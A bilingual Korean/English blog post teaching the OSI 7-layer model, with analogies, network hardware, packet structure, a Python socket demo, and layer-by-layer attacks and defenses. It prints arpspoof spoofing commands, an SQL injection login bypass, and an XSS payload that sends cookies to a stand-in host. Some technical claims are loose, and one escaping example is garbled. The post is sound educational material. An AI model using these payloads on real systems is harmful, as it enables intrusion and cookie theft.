
OSI 7계층: 네트워크의 표준 지도와 계층별 해킹 방어 (완전정복)
왜 데이터를 보내는 7단계나 필요할까요? 피자 배달 비유, 허브/스위치/라우터 하드웨어, 그리고 각 계층별 대표 공격(ARP Spoofing, SYN Flood, XSS)과 방어법까지.

왜 데이터를 보내는 7단계나 필요할까요? 피자 배달 비유, 허브/스위치/라우터 하드웨어, 그리고 각 계층별 대표 공격(ARP Spoofing, SYN Flood, XSS)과 방어법까지.
내 서버는 왜 걸핏하면 뻗을까? OS가 한정된 메모리를 쪼개 쓰는 처절한 사투. 단편화(Fragmentation)와의 전쟁.

미로를 탈출하는 두 가지 방법. 넓게 퍼져나갈 것인가(BFS), 한 우물만 팔 것인가(DFS). 최단 경로는 누가 찾을까?

프론트엔드 개발자가 알아야 할 4가지 저장소의 차이점과 보안 이슈(XSS, CSRF), 그리고 언제 무엇을 써야 하는지에 대한 명확한 기준.

이름부터 빠릅니다. 피벗(Pivot)을 기준으로 나누고 또 나누는 분할 정복 알고리즘. 왜 최악엔 느린데도 가장 많이 쓰일까요?

서비스 초기에 AWS EC2로 서버를 띄우고 있었습니다. 어느 날 갑자기 특정 사용자들이 "사이트가 안 떠요"라는 제보를 했습니다. 근데 신기한 건, 다른 사람들은 잘 되더라고요. 저도 되고요.
당시 저는 "인터넷"을 그냥 하나의 덩어리로 생각했습니다. "연결된다" 아니면 "안 된다". 이 두 가지뿐이라고요. 근데 알고 보니 네트워크는 7개의 층으로 나뉘어 있었고, 문제는 3번째 층(라우팅)에서 발생하고 있었습니다. 특정 통신사를 쓰는 사용자들의 패킷이 우리 서버까지 도달하지 못하고 있었던 거죠.
그때 처음 OSI 7계층을 제대로 공부했습니다. 그리고 깨달았습니다. "문제가 생겼을 때 어디서 터졌는지 알아야 한다"는 걸요. L7(응용)에서 터졌는지, L4(전송)에서 터졌는지, L3(네트워크)에서 터졌는지. 이걸 모르면 영원히 "인터넷이 이상해요" 소리만 듣게 됩니다.
그리고 두 번째 이유는 보안이었습니다. 해킹 공격이 "어디로" 들어오는지 알아야 방어할 수 있더라고요. L7 공격(SQL Injection)과 L4 공격(SYN Flood)은 완전히 다른 방어 방법이 필요합니다. WAF(Web Application Firewall)로는 L7만 막히고, L4 공격은 IPS(Intrusion Prevention System)가 필요합니다.
OSI 7계층은 단순한 "이론"이 아니었습니다. 실제 트러블슈팅의 지도였습니다.
OSI 7계층을 처음 배울 때 가장 헷갈렸던 게 "왜 7개나 되는데 실제로는 TCP/IP 4계층만 쓴다고 하지?"였습니다. 책에는 7개라고 써놓고, 실제로는 4개만 얘기하더라고요.
그리고 각 계층이 뭐 하는 건지도 와닿지 않았습니다. "표현 계층(Presentation Layer)은 데이터를 변환합니다"라는 설명을 100번 읽어도 머릿속에 안 그려지더라고요. 변환이 뭔데? 어디서 어디로?
제일 이해 안 됐던 건 캡슐화(Encapsulation)였습니다. "데이터를 보낼 때 헤더를 7번 덧붙인다"는 설명을 듣고는 "그럼 파일 하나 보내는데 헤더가 7개씩이나 붙는다고? 그럼 엄청 느리겠네?"라고 생각했습니다. 근데 나중에 알고 보니, 각 계층의 헤더는 몇십 바이트밖에 안 되더라고요. IP 헤더는 20바이트, TCP 헤더는 20바이트. 1MB 파일을 보낼 때 헤더는 고작 100바이트도 안 됩니다. 오버헤드가 0.01%도 안 되는 거죠.
그리고 가장 큰 오해는 "7계층이 순서대로 흐른다"고 생각한 겁니다. 마치 파이프라인처럼 L7 → L6 → L5 순서대로 거친다고 생각했어요. 근데 실제로는 동시다발적으로 일어나더라고요. 응용 계층에서 HTTP 요청을 만드는 순간, 운영체제 커널은 이미 TCP 헤더를 붙이고, 네트워크 드라이버는 IP 헤더를 붙이고... 이게 다 밀리초(ms) 단위로 동시에 일어납니다.
OSI 7계층을 이해하는 데 결정적으로 도움된 건 "피자 배달" 비유였습니다. 이 비유를 듣고 나서 "아, 그래서 7개로 나눈 거구나"라고 무릎을 쳤습니다.
여러분이 회사에서 배달 앱으로 피자를 주문한다고 상상해봤다.
사용자 인터페이스입니다. 앱 화면에서 "페퍼로니 피자 1판, 주소는 강남구..." 이렇게 입력하는 단계입니다. 여기까지는 "사람 언어"입니다. 컴퓨터는 아직 모릅니다.
www.example.com 입력이 계층에서 일어나는 일은 "사용자가 원하는 걸 컴퓨터가 이해할 수 있는 형태로 바꾸는 것"입니다. 저는 처음에 "HTTP는 L7이고 TCP는 L4"라는 말이 이해가 안 갔습니다. 근데 알고 보니, HTTP는 "뭘 보내는지"를 정의하고, TCP는 "어떻게 보내는지"를 정의하더라고요. 피자로 치면 HTTP는 "페퍼로니 피자"이고, TCP는 "오토바이로 배달"인 겁니다.
피자 주문서를 주방장이 알아들을 수 있게 변환하는 단계입니다. 암호화, 압축, 포맷 변환이 여기서 일어납니다.
저는 처음에 "SSL은 L6이다"라는 말을 듣고 혼란스러웠습니다. 왜냐면 우리는 "HTTPS"라고 부르잖아요? HTTP는 L7인데 HTTPS는 L6인가? 아니더라고요. HTTPS는 L7(HTTP) + L6(SSL)입니다. 피자 주문(L7)을 암호화된 봉투(L6)에 넣는 거죠.
실제로 이 계층의 중요성을 느낀 건, 한글 깨짐 문제를 해결할 때였습니다. 서버에서 보낸 JSON이 브라우저에서 "가나다" 이렇게 나오는 거예요. 알고 보니 서버는 UTF-8로 보내는데 브라우저는 EUC-KR로 읽고 있었습니다. 인코딩 불일치. 이게 바로 L6 문제입니다.
주문하는 동안 전화가 끊기지 않게 연결을 관리하는 단계입니다.
처음엔 이 계층이 제일 이해가 안 갔습니다. "연결을 유지한다"는 게 뭔지 감이 안 오더라고요. 그런데 실시간 채팅 기능을 만들면서 이해했습니다. HTTP는 요청-응답 한 번 하고 끝입니다. 근데 채팅은 양방향으로 계속 메시지가 왔다갔다 해야 합니다. 그래서 WebSocket을 썼는데, 이게 바로 L5가 하는 일이더라고요. "지속적인 연결 상태"를 관리하는 겁니다.
피자로 치면, 주문하는 동안 "네, 알겠습니다. 계속 말씀하세요" 하면서 전화를 끊지 않는 거죠. 반대로 HTTP는 "네, 주문 받았습니다. 뚝" 하고 바로 전화를 끊습니다.
포트 번호와 신뢰성을 담당하는 계층입니다. 여기서 가장 중요한 선택이 일어납니다: TCP vs UDP.
이 계층에서 "포트 번호"가 등장합니다. 피자로 치면 "301호로 배달해주세요"라고 호수를 지정하는 겁니다. IP 주소가 건물 주소라면, 포트 번호는 호수입니다.
실제로 느낀 건, "80번 포트가 막혀 있어요"라는 말의 의미를 이해하게 된 겁니다. 방화벽이 특정 포트를 차단하면, 그 서비스는 아예 접근이 안 됩니다. HTTP는 80번, HTTPS는 443번, SSH는 22번. 이 포트들이 막히면 해당 서비스가 죽는 거죠.
IP 주소와 라우팅을 담당합니다. "강남구 테헤란로 123번지"라는 주소를 보고 "어느 길로 갈까?"를 결정하는 겁니다.
처음에 저는 "라우팅"이 뭔지 몰랐습니다. 그냥 "인터넷은 연결되어 있으니까 알아서 가겠지" 생각했어요. 근데 traceroute 명령어를 쳐봤을 때 충격받았습니다.
traceroute google.com
이걸 쳐보면 내 컴퓨터에서 구글 서버까지 12~15개의 라우터를 거쳐간다는 걸 알 수 있습니다. 서울 → ISP(KT) → 해저 케이블 → 미국 서부 → 구글 데이터센터. 이 모든 경로를 L3 라우터들이 결정합니다.
그리고 여기서 공인 IP vs 사설 IP 개념도 이해했습니다. 우리 집 공유기 안에서는 192.168.0.x라는 사설 IP를 쓰지만, 밖으로 나갈 땐 KT가 준 공인 IP(예: 121.123.45.67)로 변환됩니다. 이게 NAT(Network Address Translation)이고, 이것도 L3에서 일어납니다.
MAC 주소를 사용해서 "물리적으로 옆 건물, 옆 동네"로 데이터를 전달합니다.
이 계층의 역할을 이해한 건 "스위치는 MAC 주소 테이블을 가지고 있다"는 걸 알았을 때입니다. 스위치는 어떤 포트에 어떤 MAC 주소가 연결되어 있는지 학습합니다. 그래서 "AA:BB:CC:DD:EE:FF로 보내야 하는 프레임은 3번 포트로 보내야겠다"라고 결정하는 거죠.
피자로 치면, "이 동네 안에서 배달원이 오토바이를 타고 실제로 이동하는" 단계입니다. IP는 "강남구 테헤란로"라는 논리적 주소고, MAC은 "이 건물, 이 층, 이 사무실"이라는 물리적 주소입니다.
0과 1의 전기 신호를 전송합니다. 랜선, 광케이블, 전파.
처음엔 "허브는 왜 쓰면 안 되나요?"라는 질문의 답을 몰랐습니다. 근데 알고 보니 허브는 "받은 신호를 모든 포트에 다 뿌린다"는 걸 알았습니다. 마치 교실에서 "철수야!"라고 부르는데 반 전체가 다 듣는 거죠. 반면 스위치는 "철수에게만" 전달합니다. 그래서 허브는 보안도 취약하고 성능도 떨어집니다.
OSI 7계층을 이해했다면, 이제 "데이터가 실제로 어떻게 흐르는가"를 알아야 합니다. 이게 바로 캡슐화(Encapsulation)입니다.
편지를 보낸다고 생각해봤다.
각 단계마다 "누가, 어디로, 어떻게"에 대한 정보가 추가됩니다. 이게 바로 헤더(Header)입니다.
HTTP GET 요청을 보낼 때 실제 패킷은 이렇게 생겼습니다:
[Ethernet Header (14 bytes)] 출발지 MAC, 목적지 MAC
[IP Header (20 bytes)] 출발지 IP, 목적지 IP
[TCP Header (20 bytes)] 출발지 Port, 목적지 Port, Sequence Number
[HTTP Header + Body] GET /index.html HTTP/1.1 ...
총 헤더 크기: 54 bytes
1KB 파일을 보낼 때 헤더는 5%밖에 안 됩니다. 1MB 파일이면 0.005%. 즉, 오버헤드는 거의 없습니다.
실제로 패킷을 잡아보면 이 계층 구조가 보입니다.
# macOS에서 패킷 캡처
sudo tcpdump -i en0 -w capture.pcap
Wireshark로 이 파일을 열면:
Frame (물리 계층)
└─ Ethernet II (데이터 링크 계층)
└─ Internet Protocol Version 4 (네트워크 계층)
└─ Transmission Control Protocol (전송 계층)
└─ Hypertext Transfer Protocol (응용 계층)
이렇게 러시아 인형처럼 겹쳐져 있는 게 보입니다. 받는 쪽에서는 이걸 역순으로 벗겨냅니다(Decapsulation). 이게 바로 네트워크의 핵심 원리입니다.
책에서는 OSI 7계층을 배우는데, 실제에선 TCP/IP 4계층을 더 많이 얘기합니다. 처음엔 이게 왜 따로 있는지 이해가 안 갔습니다.
| OSI 7계층 | TCP/IP 4계층 | 실제로 쓰는 용어 |
|---|---|---|
| L7 응용 계층 | Application Layer | "L7 로드밸런서" |
| L6 표현 계층 | (Application에 포함) | SSL/TLS |
| L5 세션 계층 | (Application에 포함) | WebSocket |
| L4 전송 계층 | Transport Layer | "L4 스위치" |
| L3 네트워크 계층 | Internet Layer | "L3 라우팅" |
| L2 데이터 링크 계층 | Network Access Layer | "L2 스위치" |
| L1 물리 계층 | (Network Access에 포함) | "물리 장비" |
TCP/IP는 "실제로 구현된 프로토콜"이고, OSI는 "이론적 모델"입니다.
OSI는 ISO라는 국제 표준 기구가 "이상적인 네트워크는 이래야 한다"고 만든 겁니다. 반면 TCP/IP는 미국 국방부가 "실제로 작동하는 인터넷"을 만들면서 나온 겁니다. 그래서 TCP/IP가 먼저 나왔고, OSI는 나중에 "이론적으로 정리"한 거죠.
실제로는 "L4 로드밸런서", "L7 DDoS 공격" 이런 식으로 OSI 계층 번호를 씁니다. 왜냐하면 "어디서 문제가 생겼는지" 빠르게 파악하기 위해서입니다.
네트워크 장비들은 각자 "어느 계층까지 이해하는가"에 따라 구분됩니다.
"멍청한 복사기"입니다. 받은 전기 신호를 모든 포트에 복사해서 보냅니다.
요즘은 거의 안 씁니다. 가정용 공유기에도 허브는 없습니다.
"똑똑한 우체국"입니다. MAC 주소를 보고 "이 프레임은 3번 포트로 가야겠다"라고 판단합니다.
MAC 주소 테이블 예시:| MAC 주소 | 포트 번호 |
|---|---|
| AA:BB:CC:DD:EE:01 | Port 1 |
| AA:BB:CC:DD:EE:02 | Port 2 |
| AA:BB:CC:DD:EE:03 | Port 3 |
스위치가 처음 켜지면 이 테이블이 비어있습니다. 그럼 어떻게 채울까요? 학습합니다. Port 1에서 프레임이 들어오면 "아, Port 1에는 AA:BB:CC:DD:EE:01이 있구나"라고 기록합니다. 그리고 다음번에는 이 MAC 주소로 가는 프레임을 Port 1로만 보냅니다.
"내비게이션"입니다. IP 주소를 보고 "이 패킷은 어느 경로로 보낼까?"를 결정합니다.
가정용 공유기는 사실 라우터 + 스위치 + NAT + DHCP 서버가 합쳐진 겁니다. 밖으로는 L3 라우터 역할을 하고, 안으로는 L2 스위치 역할을 합니다.
"교통 정리"입니다. 포트 번호까지 보고 "이 요청은 1번 서버로, 다음 요청은 2번 서버로" 분산합니다.
AWS ELB(Elastic Load Balancer)가 바로 L4/L7 로드밸런서입니다. L4는 TCP/UDP 포트를 보고 분산하고, L7은 HTTP 헤더(URL, Cookie)를 보고 분산합니다.
OSI 7계층을 배우다 보면 "얘네는 어디에 속하지?"라는 프로토콜들이 있습니다.
"IP는 아는데 MAC 주소는 모를 때" 쓰는 프로토콜입니다. L3와 L2의 다리 역할을 합니다.
동작 과정:# macOS/Linux
arp -a
# 출력 예시
? (192.168.0.1) at aa:bb:cc:dd:ee:ff on en0 ifscope [ethernet]
이 캐시가 있어야 매번 "너 MAC 주소 뭐야?" 안 물어봅니다. 근데 이 ARP 캐시를 악용하는 게 바로 ARP Spoofing 공격입니다.
"Ping"이 쓰는 프로토콜입니다. L3(네트워크 계층)에 속하지만, 포트 번호가 없습니다.
Ping 명령어:ping google.com
이 명령어는 ICMP Echo Request를 보내고, 상대방이 ICMP Echo Reply를 보내면 "살아있다"고 판단합니다.
활용:ping 123.45.67.89traceroute google.comping -c 100 8.8.8.8 (구글 DNS 서버로 100번 핑)근데 요즘은 ICMP를 차단하는 서버가 많습니다. 보안상 이유로요. 그래서 "ping이 안 되는데 웹사이트는 된다"는 경우가 있습니다. 이건 ICMP만 막고 HTTP(80/443 포트)는 열어놨기 때문입니다.
해커들은 각 계층의 취약점을 파고듭니다. 그래서 방어도 계층별로 달라야 합니다.
실제 사례: 2000년대 초반에 PC방에서 "패킷 스니핑"으로 게임 계정을 훔치는 사건이 많았습니다. 같은 허브에 연결된 컴퓨터들의 패킷을 다 볼 수 있었거든요.
방어:공격 방법: 해커가 "나(해커)가 게이트웨이(공유기)야"라고 거짓 ARP Reply를 보냅니다.
공격 시나리오:arpspoof (Kali Linux)ettercap# 공격자 시스템
arpspoof -i eth0 -t 192.168.0.10 192.168.0.1 # 피해자에게 "나 게이트웨이야"
arpspoof -i eth0 -t 192.168.0.1 192.168.0.10 # 게이트웨이에게 "나 피해자야"
방어:
# 정상 ARP 캐시 백업
arp -a > arp_backup.txt
# 의심스러운 ARP 엔트리 확인 (같은 IP에 다른 MAC이 있으면 의심)
arp -a | grep "192.168.0.1"
공격 방법: 패킷의 출발지 IP를 조작해서 보냅니다.
Smurf Attack:공격 방법: TCP 3-way handshake의 첫 단계(SYN)만 무한히 보냅니다.
TCP 정상 연결:실제 사례: 2016년 Dyn DNS 서비스가 Mirai 봇넷의 SYN Flood 공격으로 다운되면서, Twitter, Netflix, Reddit이 수시간 동안 먹통이 되었습니다.
방어:# SYN Cookie 활성화
echo 1 > /proc/sys/net/ipv4/tcp_syncookies
# SYN 대기열 크기 증가
echo 4096 > /proc/sys/net/ipv4/tcp_max_syn_backlog
SQL Injection: 웹 폼에 SQL 구문을 주입해서 DB를 털어갑니다.
취약한 코드:# 위험한 코드 (절대 쓰지 마세요)
username = request.form['username']
password = request.form['password']
query = f"SELECT * FROM users WHERE username='{username}' AND password='{password}'"
공격 입력:
username: admin' OR '1'='1
password: anything
실제 실행되는 쿼리:
SELECT * FROM users WHERE username='admin' OR '1'='1' AND password='anything'
'1'='1'은 항상 참이니까, 비밀번호 없이 로그인 성공합니다.
# Parameterized Query 사용
cursor.execute(
"SELECT * FROM users WHERE username=? AND password=?",
(username, password)
)
XSS (Cross-Site Scripting): 게시판에 JavaScript 코드를 심어서 다른 사용자의 쿠키를 훔칩니다.
공격 입력:<script>
fetch('http://hacker.com/steal?cookie=' + document.cookie);
</script>
방어:
<script> → <script>HTTP Flood (L7 DDoS): 정상적인 HTTP 요청을 초당 수만 개 보내서 서버를 마비시킵니다. L4 공격과 달리, 정상 요청이기 때문에 방화벽이 못 막습니다.
방어:Python으로 간단한 TCP 서버/클라이언트를 만들면서 계층을 체감해봤다.
import socket
# L4: TCP 소켓 생성
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# L3: IP 주소와 L4: 포트 번호 바인딩
server_socket.bind(('0.0.0.0', 8080))
# 연결 대기
server_socket.listen(5)
print("서버 대기 중... (포트 8080)")
while True:
# 클라이언트 연결 수락
client_socket, addr = server_socket.accept()
print(f"연결됨: {addr}") # L3: IP 주소 출력
# L7: 데이터 수신
data = client_socket.recv(1024).decode('utf-8')
print(f"받은 데이터: {data}")
# L7: 응답 전송
client_socket.send("HTTP/1.1 200 OK\n\nHello!".encode('utf-8'))
client_socket.close()
import socket
# TCP 소켓 생성
client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# 서버에 연결 (L3: IP, L4: Port)
client_socket.connect(('127.0.0.1', 8080))
# L7: HTTP 요청 보내기
client_socket.send("GET / HTTP/1.1\nHost: localhost\n\n".encode('utf-8'))
# 응답 받기
response = client_socket.recv(1024).decode('utf-8')
print(response)
client_socket.close()
실행하면:
이 모든 과정이 1밀리초(ms) 이내에 일어납니다.
제 경우에는, 사용자가 "사이트가 느려요"라고 했을 때 "어느 계층이 느린가?"를 먼저 체크합니다.
ping myserver.com → 응답 시간이 200ms 이상이면 L3 문제telnet myserver.com 443 → 연결이 안 되면 L4 방화벽 문제curl -I myserver.com → 응답 코드가 500이면 L7 서버 문제이렇게 계층별로 나눠서 체크하니까, 문제 원인을 5분 안에 찾을 수 있었습니다. OSI 7계층을 모르면 "인터넷이 이상해요"로 끝나지만, 알고 나면 "L3 라우팅 문제입니다"라고 정확히 말할 수 있습니다.
결국 OSI 7계층은 "컴퓨터공학 비전공자"에서 "제대로 된 엔지니어"로 넘어가는 문턱이었습니다. 이걸 이해하고 나니, AWS 설정할 때도, 보안 공격 막을 때도, 성능 튜닝할 때도 "아, 이게 L4 문제구나" 하고 바로 파악이 되더라고요.
Early in my startup journey, I was running our service on AWS EC2. One day, some users reported "the site won't load," but here's the weird part: other users had no issues. I could access it fine too.
Back then, I thought of "the internet" as this monolithic thing. Either you're connected or you're not. Binary. Simple. But I learned the hard way that networking is actually 7 separate layers, and the problem was happening at Layer 3 (routing). Packets from users on certain ISPs weren't reaching our server at all.
That's when I actually studied the OSI 7-layer model. And I realized: "When something breaks, you need to know WHERE it broke." Did it fail at L7 (application)? L4 (transport)? L3 (network)? Without this knowledge, you're stuck in an endless loop of "the internet is acting weird."
The second reason I needed this was security. You need to know where attacks come from to defend against them. An L7 attack (SQL Injection) requires completely different defenses than an L4 attack (SYN Flood). A WAF (Web Application Firewall) only stops L7 threats. For L4, you need an IPS (Intrusion Prevention System).
The OSI 7-layer model isn't just "theory." It's the map for real-world troubleshooting.
The most confusing thing about learning OSI was: "Why do we learn 7 layers when people say we only use TCP/IP's 4 layers in practice?" Books say 7, but engineers only talk about 4.
Also, the purpose of each layer didn't click. I'd read "the Presentation Layer transforms data" a hundred times and still couldn't visualize it. Transform from what to what?
The biggest confusion was encapsulation. The explanation "data gets 7 headers added when sending" made me think: "So a file gets 7 headers? That sounds incredibly slow!" But later I learned that each layer's header is only a few dozen bytes. IP header: 20 bytes. TCP header: 20 bytes. When you send a 1MB file, the headers are barely 100 bytes. That's 0.01% overhead.
My biggest misconception was thinking "the 7 layers flow sequentially"—like a pipeline where data goes L7 → L6 → L5 in order. But actually, it happens concurrently. The moment your application layer creates an HTTP request, the OS kernel is already attaching the TCP header, and the network driver is adding the IP header. This all happens in milliseconds, simultaneously.
The OSI 7-layer model finally made sense when I heard the "pizza delivery" analogy.
Imagine you're ordering pizza through a delivery app.
User interface. You tap buttons on the app: "Pepperoni pizza, 1 large, deliver to Gangnam..." This is human language. The computer doesn't understand yet.
www.example.com in ChromeWhat happens here is "translating what the user wants into computer-readable format." I was confused at first: "HTTP is L7, but TCP is L4?" Turns out, HTTP defines WHAT to send, and TCP defines HOW to send it. In pizza terms, HTTP is "pepperoni pizza," and TCP is "deliver by motorcycle."
The pizza order gets translated so the kitchen understands it. Encryption, compression, and format conversion happen here.
I was confused when people said "SSL is L6" because we call it "HTTPS," and HTTP is L7. But HTTPS = L7 (HTTP) + L6 (SSL). The pizza order (L7) goes inside an encrypted envelope (L6).
I felt this layer's importance when debugging garbled Korean text. The server sent JSON in UTF-8, but the browser read it as EUC-KR. Encoding mismatch. That's a Layer 6 problem.
Maintains the connection while you're ordering. The phone doesn't hang up mid-order.
I didn't get this layer until I built a real-time chat feature. HTTP does request-response and then disconnects. But chat needs bidirectional, continuous messaging. That's when I used WebSocket, which is L5's job: managing persistent connection states.
In pizza terms, it's keeping the phone line open during the entire order: "Yes, keep talking." HTTP, by contrast, is: "Got your order. Goodbye." Click.
Port numbers and reliability. The crucial choice happens here: TCP vs UDP.
Port numbers appear at this layer. In pizza terms, it's "deliver to apartment 301." The IP address is the building address; the port number is the apartment number.
In practice, I learned what "port 80 is blocked" actually means. If a firewall blocks a port, that service becomes inaccessible. HTTP uses port 80, HTTPS uses 443, SSH uses 22. Block those ports, and those services die.
IP addresses and routing. "Gangnam District, Teheran-ro, Building 123." The delivery person decides which roads to take.
I didn't understand "routing" at first. I thought "the internet is connected, so packets just... go." But when I ran traceroute google.com, I was shocked.
traceroute google.com
My computer to Google's server: 12-15 routers in between. Seoul → ISP (KT) → Submarine cable → US West Coast → Google datacenter. L3 routers decide every single hop.
I also learned public vs private IP here. Inside my home router, devices use private IPs like 192.168.0.x. But when packets go outside, they're translated to a public IP (e.g., 121.123.45.67) that my ISP gave me. That's NAT (Network Address Translation), and it happens at L3.
MAC addresses move data "physically to the next building, next neighborhood."
I understood this layer when I learned "switches have MAC address tables." A switch learns which MAC addresses are on which ports. So when it sees a frame destined for AA:BB:CC:DD:EE:FF, it knows "send to port 3."
In pizza terms, IP is the logical address ("Gangnam District, Teheran-ro"), and MAC is the physical address ("this building, this floor, this office").
Electrical signals: 0s and 1s. Cables, fiber optics, radio waves.
I didn't understand "why are hubs bad?" until I learned hubs "broadcast incoming signals to all ports." It's like shouting someone's name in a classroom—everyone hears. Switches, by contrast, whisper directly to the intended person. That's why hubs are insecure and slow.
Once you understand the 7 layers, you need to know "how data actually flows." That's encapsulation.
Imagine sending a letter.
Each step adds "who, where, how" information. That's the header.
When you send an HTTP GET request, the packet looks like this:
[Ethernet Header (14 bytes)] Source MAC, Destination MAC
[IP Header (20 bytes)] Source IP, Destination IP
[TCP Header (20 bytes)] Source Port, Destination Port, Sequence Number
[HTTP Header + Body] GET /index.html HTTP/1.1 ...
Total header size: 54 bytes
For a 1KB file, headers are 5%. For a 1MB file, 0.005%. Overhead is negligible.
You can actually capture packets and see this layered structure.
# Capture packets on macOS
sudo tcpdump -i en0 -w capture.pcap
Open the file in Wireshark:
Frame (Physical layer)
└─ Ethernet II (Data Link layer)
└─ Internet Protocol Version 4 (Network layer)
└─ Transmission Control Protocol (Transport layer)
└─ Hypertext Transfer Protocol (Application layer)
It's nested like Russian dolls. The receiving side unwraps them in reverse order (Decapsulation). That's the core principle of networking.
Books teach OSI 7 layers, but engineers talk about TCP/IP 4 layers more often. I was confused why there are two models.
| OSI 7 Layers | TCP/IP 4 Layers | Industry Terminology |
|---|---|---|
| L7 Application | Application Layer | "L7 load balancer" |
| L6 Presentation | (Included in Application) | SSL/TLS |
| L5 Session | (Included in Application) | WebSocket |
| L4 Transport | Transport Layer | "L4 switch" |
| L3 Network | Internet Layer | "L3 routing" |
| L2 Data Link | Network Access Layer | "L2 switch" |
| L1 Physical | (Included in Network Access) | "Physical hardware" |
TCP/IP is the "actual implementation" of networking, while OSI is a "theoretical model."
OSI was created by ISO (International Standards Organization) as an ideal "this is how networking SHOULD work." TCP/IP, on the other hand, came from the US Department of Defense building "an internet that actually works." TCP/IP came first; OSI was retroactive "theoretical organization."
In practice, engineers say "L4 load balancer," "L7 DDoS attack" using OSI layer numbers because it helps quickly identify "where the problem occurred."
Network devices are categorized by "which layer they understand."
"Dumb copier." Copies incoming electrical signals to all ports.
Rarely used today. Even home routers don't have hubs.
"Smart post office." Looks at MAC addresses and decides "this frame goes to port 3."
MAC Address Table Example:| MAC Address | Port Number |
|---|---|
| AA:BB:CC:DD:EE:01 | Port 1 |
| AA:BB:CC:DD:EE:02 | Port 2 |
| AA:BB:CC:DD:EE:03 | Port 3 |
When a switch powers on, this table is empty. How does it fill it? Learning. When a frame comes from Port 1, the switch notes: "Ah, Port 1 has MAC AA:BB:CC:DD:EE:01." Next time, frames for that MAC only go to Port 1.
"GPS navigation." Looks at IP addresses and decides "which path should this packet take?"
Home routers are actually router + switch + NAT + DHCP server combined. Externally, they act as L3 routers. Internally, they act as L2 switches.
"Traffic controller." Looks at port numbers and distributes: "this request to server 1, next request to server 2."
AWS ELB (Elastic Load Balancer) is an L4/L7 load balancer. L4 distributes based on TCP/UDP ports. L7 distributes based on HTTP headers (URL, cookies).
When learning OSI, you encounter protocols that don't fit neatly: "Where do these belong?"
"I know the IP, but not the MAC address." Bridges L3 and L2.
How it works:# macOS/Linux
arp -a
# Output example
? (192.168.0.1) at aa:bb:cc:dd:ee:ff on en0 ifscope [ethernet]
This cache prevents asking "what's your MAC?" every single time. But ARP cache poisoning is exploited in ARP Spoofing attacks.
"Ping" uses this protocol. It's L3 (Network layer) but has no port numbers.
Ping command:ping google.com
This sends an ICMP Echo Request. If the target sends an ICMP Echo Reply, it's "alive."
Practical uses:ping 123.45.67.89traceroute google.comping -c 100 8.8.8.8 (ping Google's DNS server 100 times)But nowadays, many servers block ICMP for security reasons. So "ping fails but the website works" can happen. That's because ICMP is blocked, but HTTP (ports 80/443) is open.
Hackers exploit vulnerabilities at each layer. Defenses must also be layer-specific.
Real case: In the early 2000s, PC cafes had many "packet sniffing" incidents where game accounts were stolen. Computers on the same hub could see each other's packets.
Defense:Attack method: Hacker sends fake ARP Replies claiming "I (hacker) am the gateway."
Attack scenario:arpspoof (Kali Linux)ettercap# Attacker system
arpspoof -i eth0 -t 192.168.0.10 192.168.0.1 # Tell victim "I'm the gateway"
arpspoof -i eth0 -t 192.168.0.1 192.168.0.10 # Tell gateway "I'm the victim"
Defense:
# Back up legitimate ARP cache
arp -a > arp_backup.txt
# Check suspicious ARP entries (same IP with different MAC = suspicious)
arp -a | grep "192.168.0.1"
Attack method: Manipulate the source IP in packets.
Smurf Attack:Attack method: Send only the first step of TCP 3-way handshake (SYN) infinitely.
Normal TCP connection:Real case: In 2016, Dyn DNS was hit by a Mirai botnet SYN Flood attack, taking Twitter, Netflix, and Reddit offline for hours.
Defense:# Enable SYN cookies
echo 1 > /proc/sys/net/ipv4/tcp_syncookies
# Increase SYN queue size
echo 4096 > /proc/sys/net/ipv4/tcp_max_syn_backlog
SQL Injection: Inject SQL statements into web forms to steal the database.
Vulnerable code:# Dangerous code (NEVER use this)
username = request.form['username']
password = request.form['password']
query = f"SELECT * FROM users WHERE username='{username}' AND password='{password}'"
Attack input:
username: admin' OR '1'='1
password: anything
Actual executed query:
SELECT * FROM users WHERE username='admin' OR '1'='1' AND password='anything'
'1'='1' is always true, so login succeeds without a password.
# Use parameterized queries
cursor.execute(
"SELECT * FROM users WHERE username=? AND password=?",
(username, password)
)
XSS (Cross-Site Scripting): Embed JavaScript in a forum post to steal other users' cookies.
Attack input:<script>
fetch('http://hacker.com/steal?cookie=' + document.cookie);
</script>
Defense:
<script> → <script>HTTP Flood (L7 DDoS): Send tens of thousands of legitimate HTTP requests per second to overwhelm the server. Unlike L4 attacks, these are valid requests, so firewalls can't block them.
Defense:Let's build a simple TCP server/client in Python to feel the layers.
import socket
# L4: Create TCP socket
server_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# L3: Bind IP address and L4: Port number
server_socket.bind(('0.0.0.0', 8080))
# Listen for connections
server_socket.listen(5)
print("Server listening on port 8080...")
while True:
# Accept client connection
client_socket, addr = server_socket.accept()
print(f"Connected: {addr}") # L3: IP address output
# L7: Receive data
data = client_socket.recv(1024).decode('utf-8')
print(f"Received: {data}")
# L7: Send response
client_socket.send("HTTP/1.1 200 OK\n\nHello!".encode('utf-8'))
client_socket.close()
import socket
# Create TCP socket
client_socket = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
# Connect to server (L3: IP, L4: Port)
client_socket.connect(('127.0.0.1', 8080))
# L7: Send HTTP request
client_socket.send("GET / HTTP/1.1\nHost: localhost\n\n".encode('utf-8'))
# Receive response
response = client_socket.recv(1024).decode('utf-8')
print(response)
client_socket.close()
When you run this:
All this happens in less than 1 millisecond (ms).